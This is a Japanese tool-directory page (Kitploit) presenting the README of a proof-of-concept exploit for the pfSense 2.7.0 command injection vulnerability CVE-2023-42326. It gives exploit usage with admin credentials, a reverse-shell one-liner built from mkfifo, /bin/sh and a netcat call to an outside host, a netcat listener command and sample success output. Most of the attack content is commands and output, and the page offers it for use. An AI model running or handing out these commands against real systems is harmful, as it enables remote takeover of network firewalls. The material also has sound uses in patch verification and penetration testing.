Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-42326 — これは、pfsense 2.7のコマンドインジェクションの脆弱性 (CVE-2023-42326) を示すためのシンプルなPOCです。 | Kitploit
ツール/GitHubGitHub/bl4ckarch/cve-2023-42326
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubbl4ckarch/cve-2023-42326

CVE-2023-42326

これは、pfsense 2.7のコマンドインジェクションの脆弱性 (CVE-2023-42326) を示すためのシンプルなPOCです。

リポジトリを見る
41年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

pfSense 2.7.0 コマンドインジェクションエクスプロイト (CVE-2023-42326)

このPythonスクリプトは、pfSense 2.7.0のコマンドインジェクション脆弱性(CVE-2023-42326)に対する概念実証(PoC)エクスプロイトです。この脆弱性により、認証された攻撃者は interfaces_gif_edit.php および interfaces_gre_edit.php コンポーネントを介して任意のコマンドを注入し実行できます。

機能

  • エクスプロイトモード選択(gif または gre)により、脆弱なコンポーネントを選択します。
  • 任意のシェルコマンドを実行するコマンドインジェクション機能。
  • 自動スレッド管理によるNetcatリバースシェル処理。
  • リクエストデータの可視性を高めるデバッグモード。

前提条件

スクリプトを実行する前に、以下の準備を確認してください:

  • システムにPython 3.xがインストールされていること。
  • 必要なPythonライブラリがインストールされていること:
    root@kitploit:~
    pip install requests beautifulsoup4 rich
    

使用方法

基本的な例(コマンドインジェクション)

以下のコマンドは、あなたのマシンにリバースシェルを作成するシェルコマンドを注入します:

root@kitploit:~
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
  • -u: pfSense管理ログインのユーザー名。
  • -p: pfSense管理ログインのパスワード。
  • --mode: エクスプロイトモード(gif または gre)。
  • -t: pfSenseのターゲットURL。
  • -c: 注入するシェルコマンド。
  • -d: (オプション)デバッグモードを有効にし、生の応答データを表示します。

リバースシェルの例

お使いのマシンでNetcatリスナーが実行されていることを確認してください:

root@kitploit:~
nc -lvnp 80

次に、以下のようなリバースシェルコマンドでスクリプトを実行します:

root@kitploit:~
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"  --insecure(for https without valid ssl)

デモGIF

  1. pfSenseにログインしてGIFインターフェースをエクスプロイト

    デモ1 - GIFインターフェース

  2. リバースシェルの実行

    デモ2 - リバースシェル

スクリプトオプション

出力例

エクスプロイトが正常に実行されると、次のような出力が表示されます:

root@kitploit:~
██████╗ ███████╗██████╗ ██╗    ██╗███╗   ██╗███╗   ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║    ██║████╗  ██║████╗ ████║██╔════╝
██████╔╝█████╗  ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗  
██╔═══╝ ██╔══╝  ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝  
██║     ██║     ██║     ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝     ╚═╝     ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═╝     ╚═╝╚══════╝

Done with ❤️  by @bl4ckarch                                                            
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully

注意事項

  • 権限要件: pfSenseインスタンスに対する有効な管理者認証情報が必要です。
  • 対象システム: このエクスプロイトはpfSense 2.7.0に固有のものです。
  • リバースシェル: リバースシェルを設定する際は、ファイアウォール設定で指定したポートへの着信接続を許可してください。

デバッグモード

送信されているリクエストの詳細を確認したい場合は、コマンドに -d を追加してデバッグモードを有効にできます。これにより応答データが出力され、問題のトラブルシューティングに役立ちます。

root@kitploit:~
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)

トラブルシューティング

  • ターゲットシステムに到達可能であることを確認してください。
  • ログインに使用する認証情報を再確認してください。
  • 必要に応じて、-d フラグを使用してより詳細なログを取得してください。
ツールをダウンロード
ArgumentDescription
-upfSense管理ログインのユーザー名。
-ppfSense管理ログインのパスワード。
-tターゲットpfSenseのURL/IPアドレス(例:http://10.101.1.1)。
--modeエクスプロイトモード:gif(interfaces_gif_edit.php用)またはgre。
-c脆弱なコンポーネントに注入するコマンド。
-dオプション。デバッグモードを有効にし、応答データを表示します。